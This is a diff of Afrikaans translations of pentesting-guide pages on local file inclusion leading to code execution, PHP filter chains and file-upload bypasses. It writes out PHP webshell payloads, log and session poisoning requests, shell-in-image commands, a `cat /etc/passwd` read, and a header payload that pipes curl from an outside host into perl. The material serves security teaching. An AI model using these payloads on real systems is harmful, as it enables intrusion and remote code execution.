+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), met $PID = PID van die proses (kan brute forced word) en $FD = file descriptor (kan ook brute forced word)
 
 ### Via /proc/self/environ
 
-Soortgelyk aan 'n log-lêer: stuur die payload in die User-Agent; dit sal weerspieël word in die /proc/self/environ-lêer
+Soos 'n loglêer, stuur die payload in die User-Agent; dit sal in die /proc/self/environ-lêer gereflekteer word.
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
-### Via upload
+### Deur upload
 
-As jy 'n lêer kan upload, inject net die shell payload daarin (bv: `<?php system($_GET['c']); ?>` ).
+As jy 'n file kan upload, injekteer net die shell payload daarin (bv: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van pictures/doc/pdf in te voeg
+Om die lêer leesbaar te hou is dit die beste om dit in die metadata van die prente/doc/pdf in te voeg
 
-### Deur ZIP-lêer op te laai
+### Via ZIP-lêer oplaai
 
-Laai 'n ZIP-lêer op wat 'n saamgeperste PHP shell bevat en toegang:
+Laai 'n ZIP-lêer op wat 'n gekompresseerde PHP shell bevat en toegang daartoe:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
@@ -541,11 +541,11 @@ In PHP word hierdie sessies gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêe
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
 ```
-Stel die cookie in op `<?php system('cat /etc/passwd');?>`
+Stel die cookie op `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Gebruik die LFI om die PHP-sessie-lêer in te sluit
+Gebruik die LFI om die PHP-sessie-lêer in te sluit.
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
@@ -555,22 +555,22 @@ As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/pa
 
 ### **Deur** **vsftpd** _**loglêers**_
 
-Die loglêers vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
+Die loglêers van die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
 
 1. Inspuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
-2. Na inspuiting, gebruik die LFI om die bedienerloglêers van _**/var/log/vsftpd.log**_ te haal.
+2. Na inspuiting, gebruik die LFI om die bedienerloglêers vanaf _**/var/log/vsftpd.log**_ op te haal.
 
-### Deur php base64 filter (met base64)
+### Deur php base64 filter (using base64)
 
-Soos in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel aangetoon, ignoreer die PHP base64-filter karakters wat nie base64 is nie. Jy kan dit gebruik om die kontrole op lênaansluitings te omseil: as jy base64 voorsien wat op ".php" eindig, sal die filter die "." eenvoudig ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeldpayload:
+Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, sal die PHP base64 filter net Non-base64 karakters ignoreer. Jy kan dit gebruik om die lêeruitbreidingkontrole te omseil: as jy base64 verskaf wat eindig met ".php", sal dit die "." ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeld payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Via php filters (no file needed)
+### Via php filters (geen lêer nodig nie)
 
-Hierdie [**beskrywing** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters om ewekansige inhoud te genereer** kan gebruik as uitvoer. Dit beteken basies dat jy **ewekansige php code** vir die include kan **genereer sonder om dit in 'n lêer te skryf**.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om ewekansige inhoud** as uitvoer te genereer. Dit beteken basies dat jy **ewekansige php code** vir die include kan genereer **sonder om dit in 'n lêer te skryf**.
 
 
 {{#ref}}
@@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
 
 ### Via segmentation fault
 
-**Laai 'n lêer op** wat as **tydelik** in `/tmp` gestoor sal word, dan in die **selfde versoek,** 'n **segmentation fault** veroorsaak, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarvoor soek.
+**Upload** 'n lêer wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek** 'n **segmentation fault** veroorsaak, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarna soek.
 
 
 {{#ref}}
@@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
 
 ### Via Nginx temp file storage
 
-As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, mag jy met die volgende tegniek RCE kan bekom:
+Indien jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, kan jy moontlik RCE verkry met die volgende tegniek:
 
 
 {{#ref}}
@@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
 
 ### Via PHP_SESSION_UPLOAD_PROGRESS
 
-As jy 'n **Local File Inclusion** gevind het, selfs as jy **nie 'n session het nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **session vir jou aktiveer**. Jy kan dit misbruik om RCE te kry:
+Indien jy 'n **Local File Inclusion** gevind het, selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data voorsien, sal PHP die **sessie vir jou aktiveer**. Dit kan jy misbruik om RCE te kry:
 
 
 {{#ref}}
@@ -606,7 +606,7 @@ via-php_session_upload_progress.md
 
 ### Via temp file uploads in Windows
 
-As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, mag jy RCE kry:
+Indien jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, kan jy moontlik RCE kry:
 
 
 {{#ref}}
@@ -615,7 +615,7 @@ lfi2rce-via-temp-file-uploads.md
 
 ### Via `pearcmd.php` + URL args
 
-Soos [**verduidelik in hierdie pos**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), die script `/usr/local/lib/phppearcmd.php` bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die script deur die URL te gee omdat aangedui word dat as 'n URL-param nie 'n `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die script `/usr/local/lib/phppearcmd.php` standaard in php docker images. Verder is dit moontlik om argumente aan die script via die URL deur te gee omdat dit aangedui word dat as 'n URL-param nie 'n `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
 
 Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
 ```bash
@@ -628,7 +628,7 @@ Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b allte
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-### Deur phpinfo() (file_uploads = on)
+### Via phpinfo() (file_uploads = on)
 
 As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar met file_uploads = on, kan jy RCE kry:
 
@@ -637,34 +637,34 @@ As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openb
 lfi2rce-via-phpinfo.md
 {{#endref}}
 
-### Deur compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
+### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 
-As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** van die temp-lêer, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **bypass that check** met hierdie **Race Condition**:
+As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **bypass that check** met hierdie **Race Condition**:
 
 
 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 {{#endref}}
 
-### Deur eternal waiting + bruteforce
+### Via eternal waiting + bruteforce
 
-As jy die LFI kan misbruik om **upload temporary files** en die bediener die PHP-uitvoering laat **hang**, kan jy daarna ure lank **brute force filenames during hours** om die tydelike lêer te vind:
+As jy die LFI kan misbruik om **upload temporary files** en die server te laat **hang** die PHP-uitvoering, kan jy daarna **brute force filenames during hours** om die temporary file te vind:
 
 
 {{#ref}}
 lfi2rce-via-eternal-waiting.md
 {{#endref}}
 
-### Na Fatal Error
+### To Fatal Error
 
-As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
+As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een twee keer insluit om daardie fout te veroorsaak).
 
 **Ek weet nie hoe dit nuttig is nie, maar dit kan wees.**\
 _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 
-## References
+## Verwysings
 
 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md

@@ -5,34 +5,34 @@
 
 ## Inleiding
 
-Hierdie [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud te genereer** as uitgang. Dit beteken basies dat jy **arbitrêre php code kan genereer** vir die `include` **sonder om dit in 'n lêer te skryf**.
+This [**skryfbeskrywing** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om ewekansige inhoud te genereer** as uitvoer. Dit beteken basies dat jy **ewekansige php-kode kan genereer** vir die include **sonder om dit in ’n lêer te skryf nie**.
 
-Die doel van die skrip is om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedekodeer** sal word en die gewenste payload voorsien wat deur `include` **geinterpreteer** sal word.
+Die doel van die skrip is basies om ’n **Base64** string by die **begin** van die lêer te **genereer** wat uiteindelik gedekodeer sal word en die verlangde payload sal lewer wat deur `include` geïnterpreteer sal word.
 
-Die beginsels om dit te doen is:
+Die grondslag hiervoor is:
 
 - `convert.iconv.UTF8.CSISO2022KR` sal altyd `\x1b$)C` vooraan by die string voeg
-- `convert.base64-decode` is uiters tolerant; dit sal basies alle karakters ignoreer wat nie geldige Base64 is nie. Dit gee probleme as dit onverwagte "=" vind, maar daardie kan verwyder word met die `convert.iconv.UTF8.UTF7` filter.
+- `convert.base64-decode` is uiters verdraagsaam; dit sal basies net alle karakters ignoreer wat nie geldige base64 is nie. Dit gee sekere probleme as dit ’n onverwagte "=" vind, maar dit kan verwyder word met die `convert.iconv.UTF8.UTF7` filter.
 
-Die lus om arbitrêre inhoud te genereer is:
+Die lus om ewekansige inhoud te genereer is:
 
 1. voeg `\x1b$)C` vooraan by ons string soos hierbo beskryf
-2. pas 'n ketting van iconv-omsettings toe wat ons aanvanklike Base64 onaangeraak laat en die deel wat ons net voorafgevoeg het omskakel na 'n string waar die enigste geldige Base64-karakter die volgende deel van ons Base64-geënkodeerde php code is
-3. Base64-dekodeer en Base64-enkodeer die string wat enige gemors tussenin sal verwyder
-4. gaan terug na 1 as die Base64 wat ons wil konstrueer nog nie klaar is nie
-5. Base64-dekodeer om ons php code te kry
+2. pas ’n ketting van iconv-omskakelings toe wat ons aanvanklike base64 onaangeraak laat en die deel wat ons net vooraan gevoeg het omskakel na ’n string waar die enigste geldige base64-karakter die volgende deel van ons base64-geënkodeerde php-kode is
+3. base64-decode en base64-encode die string wat enige gemors daartussen verwyder
+4. gaan terug na 1 as die base64 wat ons wil konstrueer nog nie klaar is nie
+5. base64-decode om ons php-kode te kry
 
 > [!WARNING]
-> **Includes** doen gewoonlik dinge soos **om ".php" aan die einde by te voeg** van die lêer, wat die uitbuiting moeilik kan maak omdat jy 'n .php-lêer met 'n inhoud sou moet vind wat die exploit nie laat werk nie... of jy **kan net `php://temp` as resource gebruik** omdat dit **alles aan die naam aangeheg kan hê** (lie +".php") en dit sal steeds toelaat dat die exploit werk!
+> **Includes** doen gewoonlik dinge soos **die toevoeging van ".php" aan die einde** van die lêer, wat die uitbuiting moeilik kan maak omdat jy ’n .php-lêer met inhoud sal moet vind wat die eksploit nie vernietig nie... of jy **kan net `php://temp` as hulpbron gebruik** omdat dit **alles in die naam kan hê aangeheg** (byv. +".php") en dit sal steeds toelaat dat die eksploit werk!
 
-## Hoe om ook agtervoegsels by die resulterende data te voeg
+## Hoe om ook naloopse te voeg by die resulterende data
 
-[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels by die resulterende string te voeg. Dit is handig as jy die output 'n spesifieke formaat nodig het (soos json of dalk om PNG magic bytes by te voeg)
+[**Hierdie skryfbeskrywing verduidelik**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om naloopse by die resulterende string te voeg. Dit is handig as jy die uitvoer in ’n spesifieke formaat nodig het (soos json of miskien die toevoeging van sommige PNG magic bytes)
 
 ## Outomatiese Gereedskap
 
 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
-- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(kan agtervoegsels byvoeg)**
+- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
 
 ## Volledige skrip
 ```python
@@ -96,7 +96,7 @@ print(r.text)
 ```
 ### Verbeterings
 
-Die vorige script is beperk tot die base64-karakters wat vir daardie payload nodig is. Daarom het ek my eie script geskep om **bruteforce** te doen op al die base64-karakters:
+Die vorige script is beperk tot die base64-tekens wat nodig is vir daardie payload. Daarom het ek my eie script geskep om **alle base64-tekens te bruteforce**:
 ```php
 conversions = {
 '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@@ -254,7 +254,7 @@ find_vals($init);
 ## Meer Verwysings
 
 - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
-- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+- [Die Kuns van PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/file-upload/README.md

@@ -15,13 +15,13 @@ Other useful extensions:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
-### Om lêeruitbreidingkontroles te omseil
+### Om kontrole van lêeruitbreidings te omseil
 
-1. Indien van toepassing, **kontroleer** die **vorige uitbreidings**. Probeer dit ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
-2. _Kontroleer **die toevoeging van 'n geldige uitbreiding voor** die uitvoeringsuitbreiding (gebruik ook die vorige uitbreidings):_
+1. As dit van toepassing is, **kontroleer** die **vorige extensies.** Toets dit ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._
+2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding by te voeg (gebruik ook die vorige extensies):_
 - _file.png.php_
 - _file.png.Php5_
-3. Probeer om **spesiale karakters aan die einde** te voeg. Jy kan Burp gebruik om alle **ascii** en **Unicode** karakters te **bruteforce**. (_Let wel dat jy ook die **vorige** genoemde **uitbreidings** kan probeer_)
+3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om alle **ascii** en **Unicode** karakters te **bruteforce**. (_Let wel dat jy ook die **hierbo** genoemde **extensies** kan gebruik_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@@ -31,7 +31,7 @@ Other useful extensions:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Probeer om die beskerming te omseil deur die server-side **uitbreiding-parser te mislei** met tegnieke soos **dubbelslag** van die **uitbreiding** of deur **rommel** data (**null** bytes) tussen uitbreidings in te voeg. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
+4. Probeer om die beskerming te omseil deur die bediener se uitbreidings-parser te **mislei** met tegnieke soos die **verdubbeling** van die **uitbreiding** of deur **rommeldata** (**null** bytes) tussen extensies te plaas. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -40,13 +40,13 @@ Other useful extensions:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Voeg **nog 'n laag uitbreidings** by die vorige kontrole:
+5. Voeg **nog 'n laag van extensies** by die vorige toets:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Probeer om die **uitvoer-uitbreiding voor die geldige uitbreiding** te plaas en hoop dat die server verkeerd gekonfigureer is. (nuttig om Apache miskonfigurasies uit te buit waar alles met uitbreiding **.php**, maar nie noodwendig eindigend in .php nie, kode sal uitvoer):
+6. Probeer om die **uitvoeringsuitbreiding vóór die geldige uitbreiding** te plaas en hoop dat die bediener verkeerd gekonfigureer is. (nuttig om Apache-misconfigurasies uit te buit waar enigiets met die uitbreiding **.php**, maar nie noodwendig eindigend in .php nie, kode sal uitvoer):
 - _ex: file.php.png_
-7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonteken ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate uitbreiding. Gevolglik sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. "file.asax:.jpg”). Hierdie lêer kan later gewysig word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan die byvoeging van 'n puntkarakter na hierdie patroon ook nuttig wees om verdere beperkings te omseil (.bv. "file.asp::$data.”)
-8. Probeer om die lêernaamlimiete te breek. Die geldige uitbreiding word afgekap en die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
+7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later gewysig word met ander tegnieke soos die gebruik van sy short filename. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n punt-karakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. "file.asp::$data.").
+8. Probeer om die lêernaamgrense te breek. Die geldige uitbreiding word afgekapp en die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
 
 ```
 # Linux maximum 255 bytes
@@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
-### Oorkom Content-Type, Magic Number, Kompressie & Hergroot
+### Om Content-Type, magic number, kompressie & verkleining te omseil
 
-- Omskakel Content-Type kontroles deur die **waarde** van die **Content-Type** **header** te stel na: _image/png_ , _text/plain , application/octet-stream_
+- Om **Content-Type**-kontroles te omseil, stel die **waarde** van die **Content-Type** **header** op: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Omskakel **magic number** kontroles deur aan die begin van die lêer die **bytes van 'n regte beeld** by te voeg (verwarring van die _file_ command). Of plaas die shell binne die **metadata**:\
+- Om **magic number**-kontroles te omseil, voeg aan die begin van die lêer die **bytes van 'n regte prent** by (verwarring van die _file_ command). Of plaas die shell binne die **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` of jy kan die payload ook **direk in 'n beeld inbring**:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- As **kompressie op jou beeld toegepas word**, byvoorbeeld deur standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**.
+- As **kompressie by jou prent gevoeg word**, byvoorbeeld deur standaard PHP-biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke moontlik nie werk nie. Gebruik in daardie geval die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) om teks in te sluit wat **kompressie sal oorleef**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Die webblad kan ook die **beeld hergroot**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**.
+- Die webblad kan ook die **beeld verklein** of verander van grootte maak, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. In sulke gevalle kan jy die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- 'n Ander tegniek om 'n payload te maak wat **'n beeld-herstegrooting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**.
+- Nog 'n tegniek om 'n payload te maak wat '**n beeldverkleining oorleef**', is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
-### Ander truuks om te kontroleer
+### Ander truuks om te toets
 
-- Vind 'n kwetsbaarheid om die reeds opgelaaide lêer te **hernoem** (om die uitbreiding te verander).
-- Vind 'n **Local File Inclusion** kwetsbaarheid om die backdoor uit te voer.
-- **Moontlike inligtingsvrystelling**:
-1. Laai **verskeie kere** (en op **dieselfde tyd**) dieselfde lêer met dieselfde naam op
-2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat reeds bestaan
-3. Oplaai 'n lêer met **"." , ".." , of "…" as sy naam. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in "/www/uploads/" stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" gids skep.
-4. Laai 'n lêer op wat nie maklik uitgevee kan word nie soos **"…:.jpg”** op **NTFS**. (Windows)
+- Vind 'n kwesbaarheid om die reeds opgelaaide lêer te **hernommer** (om die uitbreiding te verander).
+- Vind 'n **Local File Inclusion**-kwesbaarheid om die backdoor uit te voer.
+- **Moontlike inligtingslek**:
+1. Laai **veral** keer dieselfde lêer op (en op presies dieselfde tyd) met dieselfde naam
+2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan**
+3. Laai 'n lêer op met **"." , "..", of "…" as die naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in die "/www/uploads/" gids stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" gids skep.
+4. Laai 'n lêer op wat moeilik verwyder kan word soos **"…:.jpg"** in **NTFS**. (Windows)
 5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows)
-6. Laai 'n lêer op in **Windows** met **gereserveerde** (verbode) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
-- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer geopen word.
+6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) name soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
+- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die teiken geopen word.
 
-### Spesiale ekstensie-truuks
+### Spesiale uitbreidingstruuks
 
 As jy probeer om lêers na 'n **PHP server** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
 As jy probeer om lêers na 'n **ASP server** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php-lêer** (uitvoer dit met php, of inclui dit binne 'n script...)
+Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitvoer met php, of insluit in 'n skrip...).
 
-Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net bedoel is om **invoer te importeer**, so, op 'n tydstip, kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
+Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net gebruik word om **lêers in te sluit**, so op 'n sekere punt kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
 
 ## **Jetty RCE**
 
-As jy 'n XML-lêer in 'n Jetty server kan oplaai, kan jy [RCE bekom omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, soos in die volgende prent getoon, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
+As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE kry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos in die volgende beeld genoem, laai die XML-lêer in `$JETTY_BASE/webapps/` op en verwag die shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
 ## **uWSGI RCE**
 
-For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
